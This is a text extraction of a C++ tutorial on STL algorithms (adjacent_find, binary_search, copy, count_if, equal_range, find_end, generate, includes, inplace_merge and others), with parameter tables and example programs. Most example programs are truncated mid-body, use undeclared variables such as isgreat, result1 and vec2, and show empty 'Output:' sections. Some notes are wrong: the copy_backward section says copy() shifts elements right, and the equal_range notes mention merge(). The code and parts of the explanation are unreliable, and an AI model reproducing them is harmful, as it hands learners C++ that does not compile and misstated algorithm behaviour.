Copies elements from a source range into a destination range except
unique_copy()
for the duplicate elements that are adjacent to each other.
Finds the position of the first element in an ordered range that has a
upper_bound() value that is greater than a specified value, where the ordering
criterion may be specified by a binary predicate.
Table 34.1
- The following section presents some of the program examples using the member functions. Notice the
using of the containers and iterators in the program examples and in the function and class templates.
adjacent_find()
- Searches for two adjacent elements that are either equal or satisfy a specified condition.
template<class ForwardIterator>
ForwardIterator adjacent_find(ForwardIterator _First, ForwardIterator _Last);
template<class ForwardIterator , class BinaryPredicate>
ForwardIterator adjacent_find(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);
Parameters
www.tenouk.com Page 4 of 35
Parameter Description
_First A forward iterator addressing the position of the first element in the range to be
searched.
_Last A forward iterator addressing the position one past the final element in the range to be
searched
_Comp The binary predicate giving the condition to be satisfied by the values of the adjacent
elements in the range being searched.
Table 34.2
- The return value is a forward iterator to the first element of the adjacent pair that are either equal to
each other (in the first version) or that satisfy the condition given by the binary predicate (in the second
version), provided that such a pair of elements is found. Otherwise, an iterator pointing to _Last is
returned.
- The adjacent_find() algorithm is a non-mutating sequence algorithm. The range to be searched
must be valid; all pointers must be de-referenceable and the last position is reachable from the first by
incrementation. The time complexity of the algorithm is linear in the number of elements contained in
the range.
- The operator== used to determine the match between elements must impose an equivalence relation
between its operands.
//algorithm, adjacent_find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list<int> lst;
list<int>::iterator Iter;
list<int>::iterator result1, result2;
lst.push_back(14);
lst.push_back(17);
lst.push_back(31);
lst.push_back(31);
lst.push_back(10);
lst.push_back(20);
Output:
www.tenouk.com Page 5 of 35
binary_search()
- Tests whether there is an element in a sorted range that is equal to a specified value or that is equivalent
to it in a sense specified by a binary predicate.
Parameters
Parameter Description
_First A forward iterator addressing the position of the first element in the range to be searched.
A forward iterator addressing the position one past the final element in the range to be
_Last
searched.
The value required to be matched by the value of the element or that must satisfy the
_Val
condition with the element value specified by the binary predicate.
User-defined predicate function object that defines sense in which one element is less than
_Comp another. A binary predicate takes two arguments and returns true when satisfied and false
when not satisfied.
Table 34.3
- The return value is true if an element is found in the range that is equal or equivalent to the specified
value; otherwise, false.
- The sorted source range referenced must be valid; all pointers must be dereferenceable and, within the
sequence, the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the
binary_search() algorithm in accordance with the same ordering as is to be used by the algorithm
to sort the combined ranges.
- The source ranges are not modified by binary_search().
- The value types of the forward iterators need to be less-than comparable to be ordered, so that, given
two elements, it may be determined either that they are equivalent (in the sense that neither is less than
the other) or that one is less than the other. This results in an ordering between the nonequivalent
elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1–_First1).
//algorithm, binary_search()
#include <list>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
www.tenouk.com Page 6 of 35
//Return whether modulus of elem1 is less than modulus of elem2
bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}
int main()
{
list<int> lst;
list<int>::iterator Iter;
bool b1, b2;
lst.push_back(13);
lst.push_back(23);
lst.push_back(10);
lst.push_back(33);
lst.push_back(35);
lst.push_back(9);
lst.sort();
cout<<"List lst data: ";
for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
Output:
www.tenouk.com Page 7 of 35
copy()
- Assigns the values of elements from a source range to a destination range, iterating through the source
sequence of elements and assigning them new positions in a forward direction.
Parameters
Parameter Description
_First An input iterator addressing the position of the first element in the source range.
An input iterator addressing the position that is one past the final element in the
_Last
source range.
An output iterator addressing the position of the first element in the destination
_DestBeg
range.
Table 34.4
- The return value is an output iterator addressing the position that is one past the final element in the
destination range, that is, the iterator addresses _Result + (_Last – _First).
- The source range must be valid and there must be sufficient space at the destination to hold all the
elements being copied.
- Because the algorithm copies the source elements in order beginning with the first element, the
destination range can overlap with the source range provided the _First position of the source range
is not contained in the destination range.
- copy() can be used to shift elements to the left but not the right, unless there is no overlap between
the source and destination ranges. To shift to the right any number of positions, use the
copy_backward() algorithm.
- The copy() algorithm only modifies values pointed to by the iterators, assigning new values to
elements in the destination range. It cannot be used to create new elements and cannot insert elements
into an empty container directly.
//algorithm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 5; i++)
www.tenouk.com Page 8 of 35
vec1.push_back(i);
int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);
//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);
Output:
copy_backward()
- Assigns the values of elements from a source range to a destination range, iterating through the source
sequence of elements and assigning them new positions in a backward direction.
Parameters
Parameter Description
_First A bidirectional iterator addressing the position of the first element in the source range.
A bidirectional iterator addressing the position that is one past the final element in the
_Last
source range.
A bidirectional iterator addressing the position of the one past the final element in the
_DestEnd
destination range.
Table 34.5
- The return value is an output iterator addressing the position that is one past the final element in the
destination range, that is, the iterator addresses _DestEnd – (_Last – _First).
www.tenouk.com Page 9 of 35
- The source range must be valid and there must be sufficient space at the destination to hold all the
elements being copied.
- The copy_backward() algorithm imposes more stringent requirements than that the copy
algorithm. Both its input and output iterators must be bidirectional.
- The copy_backward() algorithm is the only STL algorithm designating the output range with an
iterator pointing to the end of the destination range.
- Because the algorithm copies the source elements in order beginning with the last element, the
destination range can overlap with the source range provided the _Last position of the source range is
not contained in the destination range.
- copy() can be used to shift elements to the right but not the left, unless there is no overlap between
the source and destination ranges. To shift to the left any number of positions, use the copy()
algorithm.
- The copy_backward() algorithm only modifies values pointed to by the iterators, assigning new
values to elements in the destination range. It cannot be used to create new elements and cannot insert
elements into an empty container directly.
//algorithm, copy_backward()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 10; j++)
vec2.push_back(j);
//To copy_backward the first 4 elements of vec1 into the middle of vec2
copy_backward(vec1.begin(), vec1.begin() + 4, vec2.begin() + 8);
Output:
www.tenouk.com Page 10 of 35
count()
- Returns the number of elements in a range whose values match a specified value.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
traversed.
An input iterator addressing the position one past the final element in the range to
_Last
be traversed.
_Val The value of the elements to be counted.
Table 34.6
- The return value is the difference type of the InputIterator that counts the number of elements in
the range [_First, _Last) that have value _Val.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- This algorithm is generalized to count elements that satisfy any predicate with the template function
count_if().
//algorithm, count()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(12);
vec.push_back(22);
vec.push_back(12);
vec.push_back(31);
vec.push_back(12);
vec.push_back(33);
int result;
cout<<"\nOperation: count(vec.begin(), vec.end(), 12)\n";
result = count(vec.begin(), vec.end(), 12);
cout<<"The number of 12s in vec is: "<<result<<endl;
return 0;
}
Output:
www.tenouk.com Page 11 of 35
count_if()
- Returns the number of elements in a range whose values satisfy a specified condition.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
searched.
An input iterator addressing the position one past the final element in the range to be
_Last
searched.
User-defined predicate function object that defines the condition to be satisfied if an
_Pred
element is to be counted. A predicate takes single argument and returns true or false.
Table 34.7
- The return value is the number of elements that satisfy the condition specified by the predicate.
- This template function is a generalization of the algorithm count(), replacing the predicate "equals a
specific value" with any predicate.
//algorithm, count_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(13);
vec.push_back(21);
vec.push_back(9);
vec.push_back(31);
vec.push_back(8);
vec.push_back(10);
int result1;
cout<<"\nOperation: count_if(vec.begin(), vec.end(), isgreat)\n";
result1 = count_if(vec.begin(), vec.end(), isgreat);
cout<<"The number of elements in vec greater than 8 is: "<<result1<<endl;
return 0;
}
Output:
www.tenouk.com Page 12 of 35
count_if()
- The following example is to show how to use the count_if() STL function in Microsoft Visual
C++ as an implementation dependent.
- The class/parameter names in the prototype do not match the version in the header file. Some have
been modified to improve readability.
- The count_if() algorithm counts the number of elements in the range [First, Last) that
cause the predicate to return true and returns the number of elements for which the predicate was true.
// countif()
//
// Functions:
// count_if - Count items in a range that satisfy a predicate.
// begin - Returns an iterator that points to the first element in
// a sequence.
// end - Returns an iterator that points one past the end of a
// sequence.
#include <iostream>
#include <algorithm>
#include <functional>
#include <string>
#include <vector>
int main()
{
const int VECTOR_SIZE = 110;
www.tenouk.com Page 13 of 35
//location of first element of NamesVect
start = NamesVect.begin();
//one past the location last element of NamesVect
end = NamesVect.end();
//print content of NamesVect
cout<<"NamesVect: ";
for(it = start; it != end; it++)
cout<<*it<<" ";
cout<<endl;
Output:
equal()
- Compares two ranges element by element either for equality or equivalence in a sense specified by a
binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
tested.
An input iterator addressing the position one past the final element in the first range to
_Last1
be tested.
An input iterator addressing the position of the first element in the second range to be
_First2
tested.
User-defined predicate function object that defines the condition to be satisfied if two
_Comp elements are to be taken as equivalent. A binary predicate takes two arguments and
returns true when satisfied and false when not satisfied.
Table 34.8
- The return value is true if and only if the ranges are identical or equivalent under the binary predicate
when compared element by element; otherwise, false.
- The range to be searched must be valid; all pointers must be de-referenceable and the last position is
reachable from the first by incrementation.
- The time complexity of the algorithm is linear in the number of elements contained in the range.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
www.tenouk.com Page 14 of 35
//algorithm, equal()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2, vec3;
vector <int>::iterator Iter1, Iter2, Iter3;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 5; j++)
vec2.push_back(j);
int k;
for(k = 10; k <= 15; k++)
vec3.push_back(k);
if(b)
cout<<"The vectors vec1 and vec2 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec2 are not equal based on equality."<<endl;
if(c)
cout<<"The vectors vec1 and vec3 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on equality."<<endl;
if(d)
cout<<"The vectors vec1 and vec3 are equal based on twice."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on twice."<<endl;
return 0;
}
Output:
www.tenouk.com Page 15 of 35
equal_range()
- Finds a pair of positions in an ordered range, the first less than or equivalent to the position of a
specified element and the second greater than the element's position, where the sense of equivalence or
ordering used to establish the positions in the sequence may be specified by a binary predicate.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched.
A forward iterator addressing the position one past the final element in the range
_Last
to be searched.
The value in the ordered range that needs to be equivalent to the value of the
element addressed by the first component of the pair returned and that needs to
_Val
be less than the value of the element addressed by the second component of that
pair returns.
User-defined predicate function object that is true when the left-hand argument
_Comp is less than the right-hand argument. The user-defined predicate function should
return false when its arguments are equivalent.
Table 34.9
- The return value is a pair of forward iterators addressing two positions in an ordered range in which the
first component of the pair refers to the position where an element is or would be if it had a value that is
less than or equivalent to a specified value and the second component of the pair refers to the first
position where an element has a value that is greater than the value specified, where the sense of
equivalence or ordering may be specified by a binary predicate.
- Alternatively, the pair of forward iterators may be described as specify a subrange, contained within the
range searched, in which all of the elements are equivalent to the specified value in the sense defined
by the binary predicate used.
- The first component of the pair of the algorithm returns lower_bound(), and the second component
returns upper_bound().
- The subrange defined by the pair of iterators returned by the equal_range() algorithm contains the
equivalence class, in the standard set-theoretic sense, of the element whose value is specified as a
parameter.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the equal_range()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().
www.tenouk.com Page 16 of 35
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).
//algorithm, equal_range()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
pair < vector <int>::iterator, vector <int>::iterator > Result1, Result2, Result3;
int j;
for(j =1; j <= 5; j++)
vec1.push_back(j);
sort(vec1.begin(), vec1.end());
cout<<"vec1 data with range sorted by the binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\nvec2 data with range sorted by the binary predicate greater than is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
cout<<"\nvec3 data with range sorted by the binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<"\n\n";
www.tenouk.com Page 17 of 35
Result2 = equal_range(vec2.begin(), vec2.end(), 4, greater <int>());
cout<<"lower_bound in vec2 for the element with a value of 4 is:
"<<*Result2.first<<endl;
cout<<"upper_bound in vec2 for the element with a value of 4 is:
"<<*Result2.second<<endl;
cout<<"The equivalence class for the element with a value of 4 in"
<<"\n vec2 includes the elements: ";
for(Iter2 = Result2.first; Iter2 != Result2.second; Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;
Output:
fill()
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
traversed.
A forward iterator addressing the position one past the final element in the range to be
_Last
traversed.
www.tenouk.com Page 18 of 35
_Val The value to be assigned to elements in the range [_First, _Last).
Table 34.10
- The destination range must be valid; all pointers must be de-referenceable, and the last position is
reachable from the first by incrementation. The complexity is linear with the size of the range.
//algorithm, fill()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);
Output:
fill_n()
- Assigns a new value to a specified number of elements in a range beginning with a particular element.
Parameters
Parameter Description
An output iterator addressing the position of the first element in the range to be
_First
assigned the value _Val.
A signed or unsigned integer type specifying the number of elements to be assigned the
_Count
value.
_Val The value to be assigned to elements in the range [_First, _First + _Count).
Table 34.11
www.tenouk.com Page 19 of 35
- The destination range must be valid; all pointers must be de-referenceable, and the last position is
reachable from the first by incrementation. The complexity is linear with the size of the range.
//algorithm, fill_n()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);
Output:
find()
- Locates the position of the first occurrence of an element in a range that has a specified value.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
searched for the specified value.
An input iterator addressing the position one past the final element in the range to be
_Last
searched for the specified value.
_Val The value to be searched for.
Table 34.12
- The return value is an input iterator addressing the first occurrence of the specified value in the range
being searched. If no such value exists in the range, the iterator returned addresses the last position of
the range, one past the final element.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
www.tenouk.com Page 20 of 35
//algorithm, find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(9);
lst.push_back(21);
lst.push_back(14);
lst.push_back(10);
lst.push_back(16);
lst.push_back(31);
Output:
find_end()
- Looks in a range for the last subsequence that is identical to a specified sequence or that is equivalent in
a sense specified by a binary predicate.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to be
_Last1
searched.
_First2 A forward iterator addressing the position of the first element in the range to be
www.tenouk.com Page 21 of 35
searched.
A forward iterator addressing the position one past the final element in the range to be
_Last2
searched.
User-defined predicate function object that defines the condition to be satisfied if two
_Comp elements are to be taken as equivalent. A binary predicate takes two arguments and
returns true when satisfied and false when not satisfied.
Table 34.13
- The return value is a forward iterator addressing the position of the first element of the last subsequence
that matches the specified sequence or that is equivalent in a sense specified by a binary predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and, within each sequence,
the last position is reachable from the first by incrementation.
//algorithm, find_end()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j = 11; j <= 14; j++)
lst.push_back(j);
int k;
for(k = 12; k <= 14; k++)
vec2.push_back(2*k);
if(result1 == vec1.end())
cout<<"There is no match of lst in vec1."<<endl;
else
cout<<"There is a match of lst in vec1 that begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_end(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
www.tenouk.com Page 22 of 35
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary "
<<"predicate\ntwice and that begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}
Output:
find_first_of()
- Searches for the first occurrence of any of several values within a target range or for the first
occurrence of any of several elements that are equivalent in a sense specified by a binary predicate to a
specified set of the elements.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to
_Last1
be searched.
A forward iterator addressing the position of the first element in the range to be
_First2
matched.
A forward iterator addressing the position one past the final element in the range to
_Last2
be matched.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.
Table 34.14
- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.
www.tenouk.com Page 23 of 35
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and, within each sequence,
the last position is reachable from the first by incrementation.
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}
Output:
www.tenouk.com Page 24 of 35
find_if()
- Locates the position of the first occurrence of an element in a range that satisfies a specified condition.
Parameters
Parameter Description
_First An input iterator addressing the position of the first element in the range to be searched.
An input iterator addressing the position one past the final element in the range to be
_Last
searched.
User-defined predicate function object that defines the condition to be satisfied by the
_Pred
element being searched for. A predicate takes single argument and returns true or false.
Table 34.15
- The return value is an input iterator that addresses the first element in the range that satisfies the
condition specified by the predicate.
- This template function is a generalization of the algorithm find(), replacing the predicate "equals a
specific value" with any predicate.
//algorithm, find_if()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(13);
lst.push_back(9);
lst.push_back(10);
lst.push_back(22);
lst.push_back(31);
lst.push_back(17);
www.tenouk.com Page 25 of 35
else
result++;
cout<<"There is an element greater than 13\nin list lst,"
<<" and it is followed by a "
<<*(result)<<endl;
return 0;
}
Output:
for_each()
- Applies a specified function object to each element in a forward order within a range and returns the
function object.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
operated on.
An input iterator addressing the position one past the final element in the range
_Last
operated on.
_Func User-defined function object that is applied to each element in the range.
Table 34.16
- The return value is a copy of the function object after it has been applied to all of the elements in the
range.
- The algorithm for_each() is very flexible, allowing the modification of each element within a range
in different, user-specified ways.
- Templatized functions may be reused in a modified form by passing different parameters. User-defined
functions may accumulate information within an internal state that the algorithm may return after
processing all of the elements in the range.
- The range referenced must be valid; all pointers must be de-referenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) comparisons.
//algorithm, for_each()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
www.tenouk.com Page 26 of 35
//The function call for the element to be multiplied
void operator()(Type& elem) const
{elem *= Factor;}
};
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
Output:
www.tenouk.com Page 27 of 35
generate()
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to which
_First
values are to be assigned.
A forward iterator addressing the position one past the final element in the range to
_Last
which values are to be assigned.
A function object that is called with no arguments that is used to generate the values to
_Gen
be assigned to each of the elements in the range.
Table 34.17
- The function object is invoked for each element in the range and does not need to return the same value
each time it is called. It may, for example, read from a file or refer to and modify a local state.
- The generator's result type must be convertible to the value type of the forward iterators for the range.
- The range referenced must be valid; all pointers must be de-referenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear, with exactly (_Last – _First) calls to the generator being required.
//algorithm, generate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
//Assigning random values to vector integer elements
vector <int> vec(5);
vector <int>::iterator Iter1;
deque <int> deq(5);
deque <int>::iterator deqIter;
www.tenouk.com Page 28 of 35
cout<<"Deque deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;
return 0;
}
Output:
generate_n()
- Assigns the values generated by a function object to a specified number of element in a range and
returns to the position one past the last assigned value.
Parameters
Parameter Description
An output iterator addressing the position of first element in the range to which
_First
values are to be assigned.
A signed or unsigned integer type specifying the number of elements to be
_Count
assigned a value by the generator function.
A function object that is called with no arguments that is used to generate the
_Gen
values to be assigned to each of the elements in the range.
Table 34.18
- The function object is invoked for each element in the range and does not need to return the same value
each time it is called. It may, for example, read from a file or refer to and modify a local state.
- The generator's result type must be convertible to the value type of the forward iterators for the range.
- The range referenced must be valid; all pointers must be dereferenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear, with exactly _Count calls to the generator being required.
//algorithm, generate_n()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
//Assigning random values to vector integer elements
vector <int> vec(7);
vector <int>::iterator Iter1;
deque <int> deq(7);
deque <int>::iterator deqIter;
www.tenouk.com Page 29 of 35
cout<<endl;
Output:
includes()
- Tests whether one sorted range contains all the elements contained in a second sorted range, where the
ordering or equivalence criterion between elements may be specified by a binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first of two sorted
_First1 source ranges to be tested for whether all the elements of the second are contained in the
first.
An input iterator addressing the position one past the last element in the first of two
_Last1 sorted source ranges to be tested for whether all the elements of the second are contained
in the first.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be tested for whether all the elements of the second
are contained in the first.
An input iterator addressing the position one past the last element in second of two
_Last2 consecutive sorted source ranges to be tested for whether all the elements of the second
are contained in the first.
User-defined predicate function object that defines sense in which one element is less
_Comp than another. A binary predicate takes two arguments and returns true when satisfied
and false when not satisfied.
Table 34.19
- The return value is a true if the first sorted range contains all the elements in the second sorted range;
otherwise, false.
www.tenouk.com Page 30 of 35
- Another way to think of this test is that it determined whether the second source range is a subset of the
first source range.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and, within
each sequence, the last position must be reachable from the first by incrementation.
- The sorted source ranges must each be arranged as a precondition to the application of the algorithm
includes in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The source ranges are not modified by the algorithm merge().
- The value types of the input iterators need be less than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the non equivalent elements.
- More precisely, the algorithm tests whether all the elements in the first sorted range under a specified
binary predicate have equivalent ordering to those in the second sorted range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.
//algorithm, includes()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int j;
for(j =-2; j <= 3; j++)
vec2.push_back(j);
www.tenouk.com Page 31 of 35
for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;
Output:
www.tenouk.com Page 32 of 35
- Program example compiled using g++.
//******algocopy.cpp********
//algorithm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);
int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);
//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);
www.tenouk.com Page 33 of 35
}
vec1 data: 0 1 2 3 4 5
vec2 data: 10 11 12 13 14 15 16 17 18 19 20
vec2 with vec1 insert data: 10 11 12 13 14 0 1 2 3 19 20
vec2 with shifted insert data: 10 11 14 0 1 0 1 2 3 19 20
//******algofindfirstof.cpp********
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
www.tenouk.com Page 34 of 35
}
www.tenouk.com Page 35 of 35
MODULE 35
--THE STL--
ALGORITHM PART III
Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
example is given at the end of this Module.
Abilities
inplace_merge()
- Combines the elements from two consecutive sorted ranges into a single sorted range, where the
ordering criterion may be specified by a binary predicate.
template<class BidirectionalIterator>
void inplace_merge(
BidirectionalIterator _First,
BidirectionalIterator _Middle,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class Pr>
void inplace_merge(
BidirectionalIterator _First,
BidirectionalIterator _Middle,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A bidirectional iterator addressing the position of the first element in the first of
_First
two consecutive sorted ranges to be combined and sorted into a single range.
A bidirectional iterator addressing the position of the first element in the second
_Middle
of two consecutive sorted ranges to be combined and sorted into a single range.
A bidirectional iterator addressing the position one past the last element in the
_Last second of two consecutive sorted ranges to be combined and sorted into a single
range.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and false
otherwise.
Table 35.1
- The sorted consecutive ranges referenced must be valid; all pointers must be de-referenceable and,
within each sequence, the last position must be reachable from the first by incrementation.
- The sorted consecutive ranges must each be arranged as a precondition to the application of the
inplace_merge() algorithm in accordance with the same ordering as is to be used by the algorithm
to sort the combined ranges.
- The operation is stable as the relative order of elements within each range is preserved. When there are
equivalent elements in both source ranges, the element is the first range precedes the element from the
second in the combined range.
- The complexity depends on the available memory as the algorithm allocates memory to a temporary
buffer. If sufficient memory is available, the best case is linear with (_Last – _First)–1
comparisons; if no auxiliary memory is available, the worst case is N log(N), where N =
(_Last–_First).
www.tenouk.com Page 1 of 40
//algorithm, inplace_merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Iter2, Iter3;
int j;
for(j =-5; j <= 0; j++)
vec1.push_back(j);
www.tenouk.com Page 2 of 40
cout<<*Iter2<<" ";
cout<<endl;
Output:
iter_swap()
Parameters
Parameter Description
_Left One of the forward iterators whose value is to be exchanged.
_Right The second of the forward iterators whose value is to be exchanged.
Table 35.2
